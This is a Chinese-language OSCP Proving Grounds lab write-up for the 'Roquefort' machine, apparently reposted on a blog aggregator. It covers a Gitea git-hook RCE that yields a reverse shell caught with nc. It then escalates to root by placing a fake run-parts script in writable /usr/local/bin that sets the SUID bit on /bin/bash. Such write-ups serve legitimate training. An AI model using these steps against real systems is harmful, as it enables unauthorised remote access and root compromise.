当前位置: 首页 > article >正文

OSCP - Proving Grounds - Roquefort

主要知识点

  • githook 注入
  • Linux path覆盖

具体步骤

依旧是nmap扫描开始,3000端口不是很熟悉,先看一下

Nmap scan report for 192.168.54.67
Host is up (0.00083s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5b
22/tcp   open   ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:77:6f:b1:ed:65:b5:ad:14:64:40:d2:24:d3:9c:0d (RSA)
|   256 a9:b4:4f:61:2e:2d:9d:4c:48:15:fe:70:8e:fa:af:b3 (ECDSA)
|_  256 92:56:eb:af:c9:34:af:ea:a1:cf:9f:e1:90:dd:2f:61 (ED25519)
53/tcp   closed domain
2222/tcp open   ssh     Dropbear sshd 2016.74 (protocol 2.0)
3000/tcp open   ppp?

发现是 gitea ,版本为1.7.5,

 

搜索一下得到 https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce,简单阅读一下发现是利用githook执行系统命令创建反弹shell

尝试利用弱密码登录http://192.168.156.67:300/发现失败,于是创建一个用户试试,再创建一个新项目后尝试更改githook

保存后在本地clone相关项目,做些更改后再提交,反弹shell创建成功

C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> vi test.txt 
                                                                                                                                                                                                                                            
C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git add *             
                                                                                                                                                                                                                                            
C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git commit -m "test1" 
[master 9925c74] test1
 1 file changed, 1 insertion(+), 1 deletion(-)
                                                                                                                                                                                                                                            
C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git push origin master
Username for 'http://192.168.156.67:3000': timothy
Password for 'http://timothy@192.168.156.67:3000': 
remote: invalid credentials
fatal: Authentication failed for 'http://192.168.156.67:3000/timothy/Test/'
                                                                                                                                                                                                                                            
C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git push origin master
Username for 'http://192.168.156.67:3000': timothy
Password for 'http://timothy@192.168.156.67:3000': 
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 266 bytes | 266.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)

C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort> nc -nlvp 2222
listening on [any] 2222 ...
connect to [192.168.45.234] from (UNKNOWN) [192.168.156.67] 48668
bash: cannot set terminal process group (753): Inappropriate ioctl for device
bash: no job control in this shell
chloe@roquefort:~/gitea-repositories/timothy/test.git$ whoami
whoami
chloe

无法sudo,suid也没发现有用的信息,尝试上传Linpeas.sh发现该用户对于/usr/local/bin有写权限,所以也许可以覆盖linux path后面的命令来提权(linux寻找可执行文件是从path左到右的各个路径去找)

......
......
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
......
......

再执行pspy64,发现run-parts会被定期执行,于是我们可以尝试覆盖run-parts

./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/10/27 19:34:31 CMD: UID=0    PID=92     | 
2024/10/27 19:34:31 CMD: UID=0    PID=9      | 
......
......
2024/10/27 19:35:01 CMD: UID=0    PID=14147  | /bin/sh -c    cd / && run-parts --report /etc/cron.hourly 
......
......

 

/bin/路径在path中的位置是在/usr/local/bin后面,所以成功提权

chloe@roquefort:~$ whereis run-parts
whereis run-parts
run-parts: /bin/run-parts /usr/share/man/man8/run-parts.8.gz
chloe@roquefort:~$ cd /usr/local/bin
lscd /usr/local/bin -l
chloe@roquefort:/usr/local/bin$ 
ls -l
total 63772
-rwxr-xr-x 1 root staff 65299840 Mar  6  2020 gitea
chloe@roquefort:/usr/local/bin$ echo "chmod +s /bin/bash" > run-parts
echo "chmod +s /bin/bash" > run-parts
chloe@roquefort:/usr/local/bin$ chmod +x run-parts
chmod +x run-partsl
chloe@roquefort:/usr/local/bin$ s -l
chloe@roquefort:/usr/local/bin$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash
chloe@roquefort:/usr/local/bin$ /bin/bash -p
/bin/bash -p
id
uid=1000(chloe) gid=1000(chloe) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(chloe)
cat /root/proof.txt
203a640d81971f425ddb028950a9c595

 

 


http://www.kler.cn/a/531500.html

相关文章:

  • k8s二进制集群之ETCD集群证书生成
  • 深度学习之“缺失数据处理”
  • 从零开始搭建一个基于Kamailio的VoIP管理系统
  • 预防和应对DDoS的方法
  • DeepSeek R1本地化部署 Ollama + Chatbox 打造最强 AI 工具
  • 【llm对话系统】大模型 Llama 源码分析之 LoRA 微调
  • 基于物联网技术的实时数据流可视化研究(论文+源码)
  • 高效接口限流:基于自定义注解与RateLimiter的实践
  • 代码随想录day27
  • FunASR的服务启动_3
  • 02.04 数据类型
  • 前端知识速记--CSS篇:display
  • UE5 蓝图学习计划 - Day 12:存储与加载
  • 使用Pytorch训练一个图像分类器
  • 通信易懂唠唠SOME/IP——SOME/IP消息格式
  • 2024-我的学习成长之路
  • DeepSeek:AI领域的创新先锋
  • 使用mybatisPlus插件生成代码步骤及注意事项
  • 飞行汽车中的无刷外转子电机、人形机器人中的无框力矩电机技术解析与应用
  • 《最小阻力之路》关于愿景的理解和思考
  • NoSQL、时序、搜索……Lindorm 如何一站式搞定多模数据?
  • 《DeepSeek R1:7b 写一个python程序调用摄像头获取视频并显示》
  • SpringMVC全局异常处理+拦截器使用+参数校验
  • C语言的物联网
  • 基于SpringBoot的信息技术知识赛系统的设计与实现(源码+SQL脚本+LW+部署讲解等)
  • bagging框架